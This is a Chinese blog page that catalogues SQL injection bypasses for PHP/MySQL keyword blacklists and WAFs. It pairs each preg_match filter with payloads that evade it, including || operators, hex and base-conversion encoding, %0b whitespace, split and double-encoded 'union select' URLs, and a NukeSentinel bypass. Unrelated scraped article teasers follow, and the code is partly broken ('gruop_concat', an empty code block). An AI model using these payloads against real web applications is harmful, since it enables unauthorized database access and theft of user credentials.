17. PHP+Mysql注入防护与绕过
黑名单关键字过滤与绕过
过滤关键字and、or
PHP匹配函数代码如下:
preg_match('/(and|or)/i', $id)
如何Bypass,过滤注入测试语句:
1 or 1 = 1 1 and 1 = 1
测试方法可以替换为如下语句测试:
1 || 1 = 1 1 && 1 = 1
过滤关键字and, or, union
PHP匹配函数代码如下:
preg_match('/(and|or|union)/i', $id)
如何Bypass,过滤注入测试语句:
union select user, password from users
测试方法可以替换为如下语句测试:
1 || (select user from users where user_id = 1) = 'admin'
过滤关键字and, or, union,where
PHP匹配函数代码如下:
preg_match('/(and|or|union|where)/i', $id)
如何Bypass,过滤注入测试语句:
1 || (select user from users where user_id = 1) = 'admin'
测试方法可以替换为如下语句测试:
1 || (select user from users limit 1) = 'admin'
过滤关键字and, or, union,where,limit
PHP匹配函数代码如下:
preg_match('/(and|or|union|where|limit)/i', $id)
如何Bypass,过滤注入测试语句:
1 || (select user from users limit 1) = 'admin'
测试方法可以替换为如下语句测试:
1 || (select user from users group by user_id having user_id = 1) = 'admin'
过滤关键字and, or, union,where,limit,group by
PHP匹配函数代码如下:
preg_match('/(and|or|union|where|limit|group by)/i', $id)
如何Bypass,过滤注入测试语句:
1 || (select user from users group by user_id having user_id = 1) = 'admin'
测试方法可以替换为如下语句测试:
1 || (select substr(gruop_concat(user_id),1,1) user from users ) = 1
过滤关键字and, or, union,where,limit,group by
PHP匹配函数代码如下:
preg_match('/(and|or|union|where|limit|group by)/i', $id)
如何Bypass,过滤注入测试语句:
1 || (select user from users group by user_id having user_id = 1) = 'admin'
测试方法可以替换为如下语句测试:
1 || (select substr(gruop_concat(user_id),1,1) user from users ) = 1
过滤关键字and, or, union,where,limit,group by,select
PHP匹配函数代码如下:
preg_match('/(and|or|union|where|limit|group by|select)/i', $id)
如何Bypass,过滤注入测试语句:
1 || (select substr(gruop_concat(user_id),1,1) user from users) = 1
测试方法可以替换为如下语句测试:
1 || 1 = 1 into outfile 'result.txt'
1 || substr(user,1,1) = 'a'
过滤关键字and, or, union,where,limit,group by,select,'
PHP匹配函数代码如下:
preg_match('/(and|or|union|where|limit|group by|select|\')/i', $id)
如何Bypass,过滤注入测试语句:
1 || (select substr(gruop_concat(user_id),1,1) user from users) = 1
测试方法可以替换为如下语句测试:
1 || user_id is not null
1 || substr(user,1,1) = 0x61
1 || substr(user,1,1) = unhex(61)
过滤关键字and, or, union,where,limit,group by,select,',hex
PHP匹配函数代码如下:
preg_match('/(and|or|union|where|limit|group by|select|\'|hex)/i', $id)
如何Bypass,过滤注入测试语句:
1 || substr(user,1,1) = unhex(61)
测试方法可以替换为如下语句测试:
1 || substr(user,1,1) = lower(conv(11,10,36))
过滤关键字and, or, union,where,limit,group by,select,',hex,substr
PHP匹配函数代码如下:
preg_match('/(and|or|union|where|limit|group by|select|\'|hex|substr)/i', $id)
如何Bypass,过滤注入测试语句:
1 || substr(user,1,1) = lower(conv(11,10,36))
测试方法可以替换为如下语句测试:
1 || lpad(user,7,1)
过滤关键字and, or, union,where,limit,group by,select,',hex, substr, white space
PHP匹配函数代码如下:
preg_match('/(and|or|union|where|limit|group by|select|\'|hex|substr|\s)/i', $id)
如何Bypass,过滤注入测试语句:
1 || lpad(user,7,1)
测试方法可以替换为如下语句测试:
1%0b||%0blpad(user,7,1)
部分WAF绕过技巧
1、绕过部分WAF
/news.php?id=1+un/**/ion+se/\**/lect+1,2,3--
2、匹配正则如下:
/union\sselect/g
绕过方式:
/news.php?id=1+UnIoN/**/SeLecT/**/1,2,3--
3、过滤一次关键字
/news.php?id=1+UNunionION+SEselectLECT+1,2,3--
4、关键字被过滤,有的时候可以用%0b插入关键字绕过
/news.php?id=1+uni%0bon+se%0blect+1,2,3--
5、对于Mod_rewrite的作用使得/**/不起作用时可以使用%0b代替
替换前:
/main/news/id/1//||//lpad(first_name,7,1).html
替换后:
/main/news/id/1%0b||%0blpad(first_name,7,1).html
6、大多数的CMS和WAF会对用户输入进行解码然后过滤,但有些只解码一次,我们可以对payload进行多次编码然后测试
/news.php?id=1%252f%252a*/union%252f%252a /select%252f%252a*/1,2,3%252f%252a*/from%252f%252a*/users--
真实的例子
NukeSentinel
Nukesentinel.php的代码如下:

针对上面的防护,使用如下测试语句将被拦截:
/php-nuke/?/**/union/**/select…
可以使用如下语句代替:
/php-nuke/?/%2A%2A/union/%2A%2A/select…
/php-nuke/?%2f**%2funion%2f**%2fselect…
17. PHP+Mysql注入防护与绕过的更多相关文章
- PHP+Mysql注入防护与绕过
今天给大家分享一个关于php常见的注入防护以及如何bypass的文章,文章内容来源国外某大佬总结,我做了一下整理,文章来源地址不详,下面正文开始.以下的方式也仅仅是针对黑名单的过滤有一定的效果,为了安 ...
- 在SQL注入中利用MySQL隐形的类型转换绕过WAF检测
web应用一般采用基于表单的身份验证方式(页面雏形如下图所示),处理逻辑就是将表单中提交的用户名和密码传递到后台数据库去查询,并根据查询结果判断是否通过身份验证.对于LAMP架构的web应用而言,处理 ...
- 对MYSQL注入相关内容及部分Trick的归类小结
前言 最近在给学校的社团成员进行web安全方面的培训,由于在mysql注入这一块知识点挺杂的,入门容易,精通较难,网上相对比较全的资料也比较少,大多都是一个比较散的知识点,所以我打算将我在学习过程中遇 ...
- [转载] MySQL 注入攻击与防御
MySQL 注入攻击与防御 2017-04-21 16:19:3454921次阅读0 作者:rootclay 预估稿费:500RMB 投稿方式:发送邮件至linwei#360.cn,或登陆网页 ...
- SQL注入9种绕过WAF方法
SQL注入9种绕过WAF方法 0x01前言 WAF区别于常规 防火墙 是因为WAF能够过滤特定Web应用程序的内容,而常规防火墙则充当服务器之间的防御门.通过检查HTTP的流量,它可以防御Web应用安 ...
- 安全测试===Mysql 注入技巧学习 MySQL注入技巧(2)
原文地址:http://websec.files.wordpress.com/2010/11/sqli2.pdf 0x00.介绍 也可以参考瞌腄龙的mysql注入科普:http://drops.woo ...
- MySQL注入与防御(排版清晰内容有条理)
为何我要在题目中明确排版清晰以及内容有条理呢? 因为我在搜相关SQL注入的随笔博客的时候,看到好多好多都是页面超级混乱的.亲爱的园友们,日后不管写博客文章还是平时写的各类文章也要多个心眼,好好注意一下 ...
- Mysql注入小tips --持续更新中
学习Web安全好几年了,接触最多的是Sql注入,一直最不熟悉的也是Sql注入.OWASP中,Sql注入危害绝对是Top1.花了一点时间研究了下Mysql类型的注入. 文章中的tips将会持续更新,先说 ...
- 史上最完整的MySQL注入
原文作者: Insider 免责声明:本教程仅用于教育目的,以保护您自己的SQL注释代码. 在阅读本教程后,您必须对任何行动承担全部责任. 0x00 ~ 背景 这篇文章题目为“为新手完成MySQL注入 ...
随机推荐
- 20145239 GDB调试汇编堆栈过程分析
20145239 GDB调试汇编堆栈过程分析 测试源代码 #include<stdio.h> ; ; ; static int g(int x) { return x + addend1; ...
- Nginix安装教程(Ubuntu)
安装gcc g++的依赖库 #apt-get install build-essential #apt-get install libtool 安装 pcre依赖库 #sudo apt-get u ...
- Linux 查看CPU信息
Linux查看CPU信息的命令 more /proc/cpuinfo 结果 processor : 0 vendor_id : GenuineIntel cpu family : 6 model : ...
- spring boot项目多环境配置文件设置
具体做法: 不同环境的配置设置一个配置文件,例如:dev环境下的配置配置在application-dev.properties中:prod环境下的配置配置在application-prod.prope ...
- JS正则表达式,记录自己所学所用的内容
还没接触正则表达式感觉确实有那么点难度,但接触到后自己琢磨了几天也没发现那么难. 现在教教刚学的或者还没接触正则表达式的同学们入入门,一起学习. 正则表达式基本语法 ***************** ...
- long long 与 __int64
1.long long VC中不能用,codeblocks中 可以 #include<iostream> #include<stdio.h> using namespace s ...
- NOIp2018集训test-10-17 (bike day3)
发现自己gradully get moodier and moodier了 负面情绪爆发地越来越频繁,根本out of control,莫名其妙地就像着了魔一样 为什么用英语大概是因为今天早上早自习因 ...
- bzoj 2597 剪刀石头布 —— 拆边费用流
题目:https://www.lydsy.com/JudgeOnline/problem.php?id=2597 不合法的三个人之间的关系就是一个人赢了两次: 记 \( deg[i] \) 表示第 \ ...
- 《Kubernetes权威指南第2版》学习(四)kubernetes基本概念和术语
1: etcd是干什么的: 键-值存储仓库,用来配置共享和服务发现. k8s把Node, pod,replication controller, Services看做是资源对象,这些资源对象可以通过K ...
- TS学习之基础类型
1.布尔值 let isDone:boolean = false 2.数字(支持二,八,十,十六进制) let width:number = 20 3.字符串 let name:string = &q ...